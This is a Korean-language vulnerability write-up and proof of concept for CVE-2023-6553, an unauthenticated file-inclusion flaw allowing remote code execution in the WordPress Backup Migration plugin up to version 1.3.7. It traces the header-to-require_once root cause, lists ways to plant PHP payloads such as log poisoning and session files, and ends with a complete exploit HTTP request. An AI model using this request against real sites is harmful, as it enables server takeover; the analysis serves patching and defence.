
CVE-2023-6553에 대한 PoC 익스플로잇 및 기술 문서: WordPress Backup Migration 플러그인 <=1.3.7에서 원격 코드 실행을 가능하게 하는 인증되지 않은 PHP 파일 포함 취약점.
플러그인: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (치명적)
CWE: CWE-98 — Include/Require 문의 파일명에 대한 부적절한 제어
인증 요구 사항: 없음
영향: 원격 코드 실행
Backup Migration은 사용자가 백업 복사본을 만들 수 있도록 도와주는 상당히 인기 있는 WordPress 플러그인입니다(활성 설치 90,000개 이상). 백업 프로세스 중 이 플러그인은 backup-heart.php라는 파일을 백그라운드에서 실행합니다. 이 파일은 HTTP 헤더를 통해 구성 정보를 전달받아 어떤 디렉터리를 백업해야 하는지, 구성 파일이 어디에 있는지 등을 파악합니다.
문제는 이 파일이 클라이언트가 보낸 HTTP 헤더를 완전히 신뢰하고, 헤더 값을 파일 경로에 그대로 사용한 다음 require_once()로 해당 경로에서 파일을 로드한다는 점입니다. 공격자는 악성 PHP 코드가 포함된 디렉터리를 가리키는 Content-Dir 헤더만 보내면 됩니다. 그러면 서버가 자동으로 해당 파일을 포함(include)하여 실행합니다.
주목할 점은 backup-heart.php 파일이 인증을 요구하지 않는다는 것입니다. 이 파일은 요청 메서드가 POST인지만 확인할 뿐, nonce나 사용자 권한을 검증하지 않습니다. 인터넷상의 누구나 이 파일에 요청을 보낼 수 있습니다.
⇒ 이는 제로 클릭(zero-click) 취약점입니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2023-6553 |
| CVSS 점수 | 9.8 (치명적) |
| 플러그인 | backup-backup (Backup Migration) ≤ 1.3.7 |
| 인증 | 필요 없음 |
| 사용자 상호 작용 | 없음 (제로 클릭) |
| 수정 버전 | 1.3.8 |
PHP에는 실행 중인 프로그램에 다른 PHP 파일을 포함시키는 데 사용되는 include(), require(), require_once() 같은 함수가 있습니다. 이러한 함수에 전달되는 파일 경로가 검증 없이 사용자 입력에서 비롯될 경우, 공격자는 서버가 원하는 파일을 포함하도록 강제할 수 있습니다:
allow_url_include=On 설정이 필요합니다(보통 기본적으로 비활성화되어 있음).이 CVE는 LFI에 해당합니다. 공격자가 require_once()에 전달되는 경로를 제어하여, 공격자가 서버에 작성하는 데 성공한 PHP 파일을 가리키게 합니다.
많은 개발자는 HTTP 헤더가 서버와 클라이언트만 아는 "내부" 메타데이터라고 생각합니다. 실제로는 공격자가 헤더 내용을 100% 제어합니다. 헤더 이름과 값을 무엇이든 설정할 수 있습니다. 헤더를 신뢰하는 것은 폼 입력을 신뢰하는 것과 같으며, 반드시 검증해야 합니다.
define()과 PHP 상수define('NAME', $value)는 애플리케이션 전체에서 사용되는 상수를 생성합니다. 한 번 define되면 값을 변경할 수 없습니다. $value가 공격자로부터 온 것이라면, 해당 상수를 사용하는 모든 곳이 영향을 받습니다.
먼저 grep을 사용하여 플러그인 전체에서 모든 require 및 include 문을 검색했습니다:
grep -rn "require\|include" includes/

검색 결과 많은 require/include 호출이 반환되었습니다. 대부분은 banner/misc.php와 banner/views/index.php의 include_once 호출이었습니다. 이들은 하드코딩된 경로를 사용하는 관리자 UI 렌더링 코드에 속하므로 악용할 수 없습니다.
하지만 backup-heart.php의 다음 2줄이 눈에 띄었습니다:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
118번째 줄은 BMI_INCLUDES 상수를 사용하여 require_once를 호출합니다. 이 상수가 하드코딩되어 있다면 안전할 것입니다. 하지만 64번째 줄을 살펴보니 BMI_INCLUDES는 다른 상수인 BMI_ROOT_DIR로부터 구성됩니다. 따라서 BMI_ROOT_DIR이 어디에서 값을 할당받는지 더 추적해야 합니다.
다시 grep을 사용하여 추적했습니다:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
결과:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
62번째 줄은 BMI_ROOT_DIR이 $fields['content-dir']에서 값을 가져온다는 것을 보여줍니다. 이는 고정된 값이 아닌 변수입니다. 파일을 열어 $fields가 무엇을 포함하는지 확인해야 합니다.
VS Code에서 backup-heart.php의 62번째 줄을 열었습니다:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

$fields['content-dir']가 define()으로 직접 들어가는 것을 명확히 볼 수 있습니다. 이제 $fields 변수가 어디서 할당되는지 확인해야 합니다:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


이 시점에서 근본 원인이 아주 명확해집니다. $fields는 getallheaders()를 통해 가져온 모든 HTTP 헤더를 담고 있으며, 이는 전적으로 클라이언트가 제어합니다. wp_verify_nonce()도, current_user_can()도, 유효한 경로 검사도 없습니다. 단지 POST 메서드만 확인하고 헤더를 그대로 읽어들입니다.
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
근본 원인 요약: HTTP 헤더 → define() → require_once(), 그 사이에 검증 단계가 전혀 없습니다.
Xdebug + VS Code를 사용하여 공격 흐름을 시각적으로 확인했습니다. backup-heart.php의 62번째 줄과 118번째 줄에 중단점 2개를 설정한 다음, curl을 사용하여 익스플로잇 요청을 보냈습니다.
중단점 1 — 62번째 줄:
디버거가 define('BMI_ROOT_DIR', $fields['content-dir']) 바로 앞에서 멈췄습니다. Variables 패널에서 $fields 변수를 펼쳐 보니 클라이언트가 보낸 모든 HTTP 헤더를 포함하는 22개 요소의 배열이 표시되었습니다. 구체적으로는:
content-dir = "/tmp/bmi/" — 헤더를 통해 보낸 값 그대로이며, BMI_ROOT_DIR 상수에 직접 할당됩니다.content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — 모두 공격자가 제어합니다.content-dir는 define()에 전달되기 전에 어떤 검증이나 필터링 단계도 거치지 않습니다.

중단점 2 — 118번째 줄:
F5를 누르자 디버거가 require_once BMI_INCLUDES . '/bypasser.php'에서 멈췄습니다. 상태를 살펴보면:
$fields에 여전히 content-dir = "/tmp/bmi/"가 유지됩니다. 이는 62번째 줄과 118번째 줄 사이에 값이 변경되지 않았음을 증명합니다.{main} backup-heart.php 118:1이 표시됩니다. 파일의 맨 위에서 이 지점까지 코드가 곧바로 실행되었으며, 어떤 미들웨어나 인증 검사도 거치지 않았습니다./tmp/bmi/includes/bypasser.php 경로의 파일을 include하려고 준비합니다. 이 파일의 내용은 공격자가 제어합니다.
디버깅 결과는 3단계에서 분석한 흐름을 완벽하게 확인해 줍니다. HTTP 헤더가 getallheaders() → define() → require_once()로 이동하며, 그 사이에 검증이 전혀 없습니다.
include를 트리거하기 전에 대상 서버에 PHP 파일이 이미 존재해야 합니다. 일반적인 기법은 다음과 같습니다:
| 기법 | 개념 |
|---|---|
| 로그 오염(Log poisoning) | User-Agent에 <?php ... ?>를 포함한 요청을 보내면 코드가 액세스 로그에 기록됨 → 로그 파일을 include |
| PHP 세션 | /tmp/sess_xxx에 위치한 세션 파일에 PHP 코드를 기록 |
| 업로드 체인 | WordPress 미디어/아바타 업로드 기능을 활용하여 파일 업로드 |
| 플러그인 오류 로그 | 플러그인이 자체 오류 로그를 기록 — PHP 코드가 포함된 오류를 발생시키면 코드가 로그 파일에 기록됨 |
Content-Dir가 페이로드가 포함된 디렉터리를 가리키도록 요청을 보냅니다. 서버는 공격자의 파일을 자동으로 require하고 실행합니다.
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
모든 Content-* 헤더를 제공해야 합니다. backup-heart.php가 다른 define() 호출에서 이 헤더들을 사용하기 때문입니다. 헤더가 누락되면 PHP 경고가 발생하고 require_once에 도달하기 전에 실행이 중단될 수 있습니다.